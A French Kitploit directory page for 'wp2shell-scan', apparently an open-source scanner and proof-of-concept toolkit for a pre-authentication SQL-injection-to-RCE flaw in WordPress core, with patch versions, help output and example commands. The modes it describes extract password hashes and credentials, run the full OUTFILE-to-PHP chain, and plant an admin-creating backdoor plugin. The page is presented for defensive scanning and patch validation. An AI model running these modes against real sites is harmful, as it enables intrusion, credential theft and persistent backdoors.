Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
wp2shell-scan — Un scanner et une boîte à outils de preuve de concept pour CVE-2026-63030 (wp2shell) - exécution de code à distance sans authentification préalable dans le noyau WordPress | Kitploit
Outils/GitHubGitHub/fullhunt/wp2shell-scan
Scanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubfullhunt/wp2shell-scan

wp2shell-scan

Un scanner et une boîte à outils de preuve de concept pour CVE-2026-63030 (wp2shell) - exécution de code à distance sans authentification préalable dans le noyau WordPress

Voir le dépôt
5232il y a 2 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

wp2shell-scan

Un scanner et une boîte à outils de preuve de concept pour CVE-2026-63030 (wp2shell), une vulnérabilité d'exécution de code à distance pré-authentifiée dans le noyau WordPress

Fonctionnalités

  • Deux méthodes de détection non destructives : --check-type time-based (sonde de temporisation SLEEP) et --check-type error-based (différentiel TRUE/FALSE/cassé). Toutes deux sûres pour des scans de vastes parcs.
  • Prise en charge des listes d'URL et de plusieurs cibles en une seule exécution.
  • L'extraction par oracle booléen basée sur le contenu fonctionne sans SLEEP, sans sortie d'erreur ni privilèges MySQL FILE.
  • Repli sur l'extraction aveugle basée sur le timing pour les oracles booléens non fiables.
  • Sondage des points de terminaison REST pour identifier les routes qui transmettent l'injection à WP_Query.
  • Validation complète de la chaîne d'exploitation (SQLi → INTO OUTFILE → exécution PHP), conditionnée par le drapeau explicite --i-have-authorization.
  • Banc d'essai local vulnérable (Docker) pour une reproduction hors ligne et sûre.

🚨 Annonce (juillet 2026)

CVE-2026-63030 (« wp2shell ») est une vulnérabilité d'exécution de code à distance pré-authentifiée dans le noyau WordPress. Un bug de confusion de route / désynchronisation d'index dans le point de terminaison batch de l'API REST (/batch/v1) permet à un attaquant non authentifié d'introduire subrepticement une valeur author_exclude non assainie dans WP_Query, entraînant une injection SQL. Lorsque l'utilisateur de la base de données dispose du privilège FILE, cela conduit à une exécution de code à distance via SELECT ... INTO OUTFILE. Aucun plugin n'est requis. Une installation WordPress standard est affectée.

WordPress a publié des correctifs dans les versions 6.9.5, 7.0.2 et 7.1-beta2. Appliquez les correctifs immédiatement. Si vous avez besoin d'aide pour scanner ou détecter cette vulnérabilité sur votre infrastructure, écrivez à [email protected]. Pour en savoir plus, consultez le blog de fullhunt.io.

BrancheVulnérableCorrigé
6.96.9.0–6.9.46.9.5
7.07.0.0–7.0.17.0.2
7.17.1-beta17.1-beta2
< 6.9Non affecté (point de terminaison batch absent)—

Description

Nous avons étudié wp2shell (CVE-2026-63030) depuis sa divulgation publique et avons travaillé avec nos clients à la prévention de cette vulnérabilité. Nous publions en open source un outil ouvert de détection et de scan permettant de découvrir et de valider CVE-2026-63030. Il doit être utilisé par les équipes de sécurité pour scanner leur infrastructure à la recherche de wp2shell et pour vérifier que les règles WAF et les correctifs bloquent effectivement la chaîne d'attaque dans l'environnement de l'organisation.

wp2shell-scan.py est un scanner unique et unifié prenant en charge huit modes :

ModeObjectifAutorisation
checkDétection non destructive. Deux types de vérification : --check-type time-based (sonde de temporisation SLEEP) ou --check-type error-based (différentiel TRUE/FALSE/cassé).Non
probe-endpointsDécouvre quels points de terminaison REST transmettent l'injection à WP_Query.Non
probeComparaison côte à côte des réponses de N charges utiles SQL.Non
extractExtraction par oracle booléen des métadonnées et des hachages de la base de données.Oui
blindExtraction aveugle basée sur le timing (repli lorsque l'oracle booléen n'est pas fiable).Oui
exploitValide la chaîne complète SQLi → INTO OUTFILE → exécution PHP.Oui
adduserÉcrit une porte dérobée mu-plugin qui crée un compte administrateur ; en repli, extraction par oracle booléen des hachages.Oui
get-usersExtraction par oracle booléen de tous les identifiants de la table wp_users.Oui

Remarque : Les modes marqués « Oui » dans la colonne Autorisation nécessitent le drapeau --i-have-authorization.

Utilisation

$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
                        [--check-type {time-based,error-based}] [-k]
                        [--timeout TIMEOUT] [--sleep SLEEP]
                        [--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
                        [--out-name OUT_NAME] [--php-code PHP_CODE]
                        [--user-login USER_LOGIN] [--user-pass USER_PASS]
                        [--user-email USER_EMAIL] [--i-have-authorization]
                        [--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
                        [--all] [-v]
                        {check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}

CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.

positional arguments:
  {check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
                        Scan mode.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Check a single URL.
  -l USEDLIST, --list USEDLIST
                        Check a list of URLs.
  -p PROXY, --proxy PROXY
                        Send requests through proxy.
  --check-type {time-based,error-based}
                        Detection method for check mode - [Default: time-based].
  -k, --insecure        Disable TLS certificate verification.
  --timeout TIMEOUT     HTTP timeout (in seconds) - [Default: 15].
  --sleep SLEEP         SLEEP seconds for time-based checks and blind mode - [Default: 5].
  --endpoint ENDPOINT   REST endpoint used for the injection - [Default: /wp/v2/categories].
  --webroot PATH[,PATH...]
                        Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
  --out-name OUT_NAME   Dropped filename - [Default: random].
  --php-code PHP_CODE   PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
  --user-login USER_LOGIN
                        Backdoor username for adduser mode - [Default: wpadmin].
  --user-pass USER_PASS
                        Backdoor password for adduser mode.
  --user-email USER_EMAIL
                        Backdoor email for adduser mode.
  --i-have-authorization
                        Required for exploit, adduser, get-users, extract, and blind modes.
  --sql LABEL:SQL       probe mode: repeatable label:sql payload pair.
  --query QUERY         extract/blind mode: custom SQL scalar query to extract.
  --dump [KEY ...]      extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
  --all                 extract mode: dump all prebuilt queries.
  -v, --verbose

Vérification basée sur le timing (sonde de temporisation SLEEP non destructive)

$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based

Vérification basée sur les erreurs (différentiel TRUE / FALSE / cassé non destructif)

$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based

Scanner une liste d'URL

$ python3 wp2shell-scan.py check -l urls.txt

Identifier les points de terminaison REST injectables

$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local

Extraire des données via l'oracle booléen (aucun privilège FILE requis)

$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version

Valider la chaîne RCE complète (cibles autorisées uniquement)

$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization
Télécharger l’outil